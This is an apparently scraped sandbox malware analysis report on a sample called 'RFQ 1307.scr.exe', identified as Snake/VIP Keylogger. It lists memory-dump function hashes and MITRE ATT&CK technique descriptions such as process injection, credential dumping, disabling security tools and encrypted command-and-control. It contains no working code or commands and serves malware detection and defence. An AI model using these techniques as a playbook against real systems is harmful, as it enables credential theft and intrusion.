Opcode ID: 73e55405b190a1fe39ef2b137d3fbf783fbef82b496f4905cb54f745f9fce6f2
Instruction ID: 471354313db9d365ee2aca5225484f24e9e9b0c2369dd6ad5e45da64c0dda33d
Opcode Fuzzy Hash: 73e55405b190a1fe39ef2b137d3fbf783fbef82b496f4905cb54f745f9fce6f2
Instruction Fuzzy Hash: F6D19E78E01218CFEB54DFA9D994BADBBB2BF89300F1080A9D809AB354DB355D81CF55

Function 05932DA8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9956864a93da0bd1cd012fad3eabf71276327919c1f5028b8c9e89c58325cd1e
Instruction ID: b0e75b940a9ca973a6135f13d677250f7ded2de6be7da9c16a1b9be572fa1495
Opcode Fuzzy Hash: 9956864a93da0bd1cd012fad3eabf71276327919c1f5028b8c9e89c58325cd1e
Instruction Fuzzy Hash: B7D1AE78E01218CFEB14DFA5D994BADBBB2BF89300F1080A9D809AB354DB359D85CF55

Function 059304D0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4278b50243602de7c0aa97bd52ec6bb1a85cbef500a5881d4368951b261519a
Instruction ID: 9321ab565debd5301d81073610a4260aafd5a6236b11f186f2d001b92661e001
Opcode Fuzzy Hash: c4278b50243602de7c0aa97bd52ec6bb1a85cbef500a5881d4368951b261519a
Instruction Fuzzy Hash: 08D19D78E00218CFEB14DFA9D994BADBBB2BF89300F1080A9D809AB355DB355D81CF55

Function 059336C8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85576f90961e84ae45731f0c63427111ff29022c3e5d21fa3c56fd75759ead59
Instruction ID: aeee49b58703e07ac02744cffa45fb32aa65d8d514d2b7132503693a06aa4edf
Opcode Fuzzy Hash: 85576f90961e84ae45731f0c63427111ff29022c3e5d21fa3c56fd75759ead59
Instruction Fuzzy Hash: 81D1AE78E00218CFEB54DFA5D994BADBBB2BF89300F1081A9D809AB354DB359D81CF55

Function 05930DF0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8cec452daad84910cf29b882df898ef3e49a69a014ef7f4bd84ef17f59f1efd
Instruction ID: 0b0dbcede6ef1b66f112c67b211677f10e67274944df78ec2995580273e330b6
Opcode Fuzzy Hash: a8cec452daad84910cf29b882df898ef3e49a69a014ef7f4bd84ef17f59f1efd
Instruction Fuzzy Hash: 2AD1AF78E00218CFEB54DFA5D994BADBBB2BF89300F1080A9D809AB365DB355D81CF55

Function 05931FF8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d6833eff9f68199f6f959ea3150ba5898fa2c06790273e0d3023f29715a849c
Instruction ID: 86ea381460c2a2af0569b234e7312e3d62ed72786a5f6fbcb643bf1ecbe30690
Opcode Fuzzy Hash: 5d6833eff9f68199f6f959ea3150ba5898fa2c06790273e0d3023f29715a849c
Instruction Fuzzy Hash: F5D1AD78E00218CFEB54DFA5D994BADBBB2BF89300F1080A9D809AB355DB359D81CF55

Function 05933FE8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22cc649378a473d2791984005db13ff63f515067e8ffa50476209bbff81192b2
Instruction ID: 45b65e7bb984a59be536ef04dfe25174eedcc99a5070ca4d8657f2d1eab58262
Opcode Fuzzy Hash: 22cc649378a473d2791984005db13ff63f515067e8ffa50476209bbff81192b2
Instruction Fuzzy Hash: 9DD1AE78E00218CFEB14DFA5D994BADBBB2BF89300F1080A9D809AB355DB355D81CF55

Function 05932918 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01e61501223ced35ef42eff230652b8b382d4d79a315c600810aaa72c286b886
Instruction ID: 4e7392906e31ac3c7881a9e8f3919e88adee0c1b12e734fffe4f25b448cbf827
Opcode Fuzzy Hash: 01e61501223ced35ef42eff230652b8b382d4d79a315c600810aaa72c286b886
Instruction Fuzzy Hash: 3DD19E78E00218CFEB54DFA5D994BADBBB2BF89300F1080A9D809AB364DB355D81CF55

Function 05934908 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 132fad2e805c07cd407858405a13881533d4d5771ed58e0f662192d71c4f653b
Instruction ID: 936626ab6e3192be30d8d5efa43f93dbf0ded16652f367620409d16528d7593e
Opcode Fuzzy Hash: 132fad2e805c07cd407858405a13881533d4d5771ed58e0f662192d71c4f653b
Instruction Fuzzy Hash: 4BD1AE78E01218CFEB54DFA5D994BADBBB2BF89300F1080A9D809AB354DB359D81CF55

Function 05933238 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6b9db32ec851b440aad3f43a078f14ba9cf874092a649a93b10f11fd2e7c7cb
Instruction ID: ed008c7256745f89e4c2b83c418331b1a70918c52fba2c499ad396e692fb9d23
Opcode Fuzzy Hash: a6b9db32ec851b440aad3f43a078f14ba9cf874092a649a93b10f11fd2e7c7cb
Instruction Fuzzy Hash: 00D1AF78E01218CFEB14DFA9D994BADBBB2BF89300F1081A9D809AB354DB355D81CF55

Function 05935228 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9737e412621d6c6b2f8ad92a76f5baa3808e6d5d66e56d4c4308ea311d31f611
Instruction ID: 3c8b2c0ea6c4aa38c1fa522647779d97a2ca306201dcf9f7119ba8db49ad46da
Opcode Fuzzy Hash: 9737e412621d6c6b2f8ad92a76f5baa3808e6d5d66e56d4c4308ea311d31f611
Instruction Fuzzy Hash: BFD1AE78E01218CFEB54DFA9D994BADBBB2BF89300F1080A9D809AB354DB355D81CF55

Function 05933B58 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3edfe55a2a2bbb33652886dd27864f9b4d07ec1537941b551e2e13e6cc238b3
Instruction ID: b7022c048b262df7d296e9b0b066ca3a1387e8a41d30f1f9ce62b5f1887cf6c3
Opcode Fuzzy Hash: a3edfe55a2a2bbb33652886dd27864f9b4d07ec1537941b551e2e13e6cc238b3
Instruction Fuzzy Hash: 80D1AF78E00218CFEB54DFA9D994BADBBB2BF89300F1081A9D809AB354DB355D81CF55

Function 05930040 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b35450b9589b5e070145fb0926bf284a609101b63261b49319a26c990ec73ec
Instruction ID: ac99040ddc7915cc933f3c46983aa0ea89452f04a0ba4e835f4e054c29120cba
Opcode Fuzzy Hash: 7b35450b9589b5e070145fb0926bf284a609101b63261b49319a26c990ec73ec
Instruction Fuzzy Hash: F0D1AF78E01218CFEB54DFA5D994BADBBB2BF89300F1080A9D809AB354EB355D81CF55

Function 05934478 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c48c98e28be1fcc964fadb935ac25622efd7ca249ae2d8f32871ccd6449704a
Instruction ID: 2e90888ea2d57babf4203c192c25a8f3b58d6d785f1100b657f86b5f12d7a84b
Opcode Fuzzy Hash: 4c48c98e28be1fcc964fadb935ac25622efd7ca249ae2d8f32871ccd6449704a
Instruction Fuzzy Hash: ADD19D78E01218CFEB54DFA5D994BADBBB2BF89300F1080A9D809AB354DB355D81CF55

Function 05930960 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07204c48508a72183cb82613096768066142e0b86344dfd144e6d12a03e9d1d7
Instruction ID: 74bfd4ad1527e0132b4356923f51531d85ab201e38c2e9793502a98fa088dc11
Opcode Fuzzy Hash: 07204c48508a72183cb82613096768066142e0b86344dfd144e6d12a03e9d1d7
Instruction Fuzzy Hash: EDD1AE78E01218CFEB14DFA5D994BADBBB2BF89300F1080A9D809AB354DB355D81CF55

Function 05931B68 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79e5693db7f7ab7188f2cc5b6ccb7aa3ffb8874ddf1c8d467deb7242cafde8f4
Instruction ID: fb8cf1d945336fe6745e3cadc6c106488d7f86c00f59c899f3e6658f4e66eaf7
Opcode Fuzzy Hash: 79e5693db7f7ab7188f2cc5b6ccb7aa3ffb8874ddf1c8d467deb7242cafde8f4
Instruction Fuzzy Hash: 4BD19F78E00218CFEB54DFA5D994BADBBB2BF89300F1081A9D809AB364DB355D81CF55

Function 05931710 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2624048564.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5930000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c58fda77171e026c076fe19d82f6f5e4b446f3b7fefa4e591cc975525ae7d38a
Instruction ID: 22e5e420c5a458a6c15e58c3988aa89d55342b7232690e1b9ca3e10a4beb4fe1
Opcode Fuzzy Hash: c58fda77171e026c076fe19d82f6f5e4b446f3b7fefa4e591cc975525ae7d38a
Instruction Fuzzy Hash: 46C1A274E01218CFDB14DFA5D994BADBBB2BF89300F1081A9D809AB365DB359E81DF50

Function 0157FAD4 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2615511834.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1570000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6fa536634f9e014c8beb503f6f33543dcb6504d1a479867b5a491b1d81f21ce
Instruction ID: 06fdfb34d407ad125c876985de097598132bc061c004e107b557b1769891d3cc
Opcode Fuzzy Hash: c6fa536634f9e014c8beb503f6f33543dcb6504d1a479867b5a491b1d81f21ce
Instruction Fuzzy Hash: C5C1B374E00218CFEB54DFA5D994B9DBBB2BF89304F1080AAD819AB355DB359E81CF50

Function 0157F60C Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2615511834.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1570000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25ef6d6a9f2484667a2c5632bbc2ff2fabbd521676f5e6b94c1a9dd423e15333
Instruction ID: 799f937f601c577781a0f77007a7103967ec5275ee1c63c540aeaf0f632f59fa
Opcode Fuzzy Hash: 25ef6d6a9f2484667a2c5632bbc2ff2fabbd521676f5e6b94c1a9dd423e15333
Instruction Fuzzy Hash: 50512370D01209CFDB14EFA8E596BEDBBF2BB49300F24852AD425AB398D7359881CF54

Function 0157F420 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2615511834.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1570000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e02908da0984d8311919bbe7be7b8a9c9934840edc5aec27b18792a923619e0
Instruction ID: 588bd286ab09ca68642acb6247be27714cd5606b2d71fd6ff74a479f9498e78a
Opcode Fuzzy Hash: 6e02908da0984d8311919bbe7be7b8a9c9934840edc5aec27b18792a923619e0
Instruction Fuzzy Hash: 71514770D01209CBEB18EFA9E5957EDBBF2BF88300F14852AC514BB298D7759981CF54

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RFQ 1307.scr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
RFQ 1307.scr.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre